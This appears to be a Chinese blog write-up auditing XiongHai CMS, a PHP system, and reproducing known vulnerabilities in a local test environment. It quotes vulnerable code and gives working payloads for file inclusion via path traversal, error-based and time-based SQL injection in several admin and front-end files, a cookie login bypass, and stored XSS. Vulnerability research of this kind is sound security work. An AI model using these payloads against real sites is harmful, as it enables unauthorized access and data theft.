首页后端开发JAVA[代码审计]熊海cms

[代码审计]熊海cms

时间2023-04-16 17:00:01发布访客分类JAVA浏览1274
导读:0x00前言好些天没写文章了,今天给大家分享一篇对于熊海cms的审计 本文所使用的环境为phpstudy的php5.2.17版本+apache0x01正文看过我之前文章的朋友知道:在审计之前,我们可以通过查询CNVD来知道准备审计的cms存...

0x00前言

好些天没写文章了,今天给大家分享一篇对于熊海cms的审计 本文所使用的环境为phpstudy的php5.2.17版本+apache

0x01正文

看过我之前文章的朋友知道:在审计之前,我们可以通过查询CNVD来知道准备审计的cms存在的漏洞。这样可以更方便于我们来挖掘,复现漏洞

  • 文件包含漏洞(admin/index.php) 当我看到cnvd的第一个漏洞是登入绕过的时候(一个个来),我们先打开后台地址看看
?php
//单一入口模式
error_reporting(0);
     //关闭错误显示
$file=addslashes($_GET['r']);
     //接收文件名
$action=$file==''?'index':$file;
     //判断为空或者等于index
include('files/'.$action.'.php');
     //载入相应文件
?>
    

我们可以发现 file=addslashes(_GET['r']); 对于r的输入进行了过滤

include('files/'.action.'.php'); 但是这里我们可以发现action是可控的,即输入的参数是可控的(即使是存在魔术引号)。这个情况与我之前审计bluecms时候类似。我贴一张当时的图

我们先建个txt

最后效果

payload:/admin/?r=../../1.txt.......................................................................................................................................................................................................................................................................................................................................................................................................
  • 文件包含漏洞(index.php) 该处漏洞与上面相同
  • 登入绕过漏洞(cookie) 当我在抓后台包的时候我发现cookie处

经过查看文件源码,我们来到checklogin.php

可以发现。当cookie为空的时候,就跳转到了登入页面。那么不为空的时候呢,这里就成功的绕过了登入。

  • SQL注入漏洞(admin/files/login.php)

当& login不为空时候,执行下面的sql语句。且我们可以发现user并未进行过滤,并且

payload:user=admin1' and extractvalue(1,concat(0x7e,(select database())))--+&
    password=123456&
    login=yes
  • SQL注入(/admin/files/editwz.php与/admin/files/editcolumn.php) 我们利用全局搜索的方法来寻找select类型的注入(与上一个同理)
  • SQL注入(/files/content.php与/files/software.php)

这里可以发现输入的变量经过addslashes的过滤。不过我们依旧可以利用报错注入或者时间盲注来执行

payload:xhcms/?r=content&
    cid=1%20and%20extractvalue(1,concat(0x7e,(select%20database())))

-SQL注入(/admin/files/manageinfo.php) 这里是cookie处存在注入,方法如上文所示,不在复述

-insertSQL注入(/admin/files/newlink.php)

$query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";
    
@mysql_query($query) or die('新增错误:'.mysql_error());
    

太简单了直接上 payload:1' and sleep(10),'http://535yx.cn','yx535@qq.com','jieshao','xs',now()) #

-delectSQL注入(/admin/files/linklist.php)

$delete=$_GET['delete'];
    
if ($delete>
""){
    
$query = "DELETE FROM link WHERE id='$delete'";
    
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    
echo "script>
    alert('亲,ID为".$delete."的链接已经成功删除!');
    location.href='?r=linklist'/script>
    ";
    
exit;
     

直接上

payload:/admin/?r=linklist&
    delete=1%27%20and%20sleep(10)--+

-存储xss漏洞(/admin/files/l ink.php)x2

可以发现,这里对于输入并未有过滤,而name和url是我们刚才在newl ink.php处可控的。所以说这里存在着存储xss

0x02结尾

这里sql注入漏洞太多啦。我就不继续说了,有兴趣的朋友可以再挖挖还有哪里存在sql注入漏洞 让我们一起加油

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!

php存储cms后台漏洞

若转载请注明出处: [代码审计]熊海cms
本文地址: https://pptw.com/jishu/3371.html
CTFSHOW刷题之旅--命令执行[29-77,118-124](未更新完) Pandownload 网页端复刻版PHP源码

游客 回复需填写必要信息